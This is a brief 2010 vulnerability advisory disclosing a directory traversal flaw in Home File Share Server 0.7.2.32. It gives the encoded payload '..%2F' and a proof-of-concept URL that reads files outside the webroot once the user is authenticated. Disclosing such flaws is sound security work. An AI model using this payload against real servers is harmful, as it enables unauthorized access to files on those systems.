------------------------------------------------------------------------
Software................Home File Share Server 0.7.2.32
Vulnerability...........Directory Traversal
Download................http://downstairs.dnsalias.net/homefileshareserver.html
Release Date............10/31/2010
Tested On...............Windows XP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://www.johnleitch.net/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------

--Description--

A directory traversal vulnerability in Home File Share Server 0.7.2.32
can be exploited to read files outside of the webroot directory.


--Exploit--

..%2F

The user must be authenticated and the path must begin with a real folder.


--PoC--

http://localhost/RealFolder/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F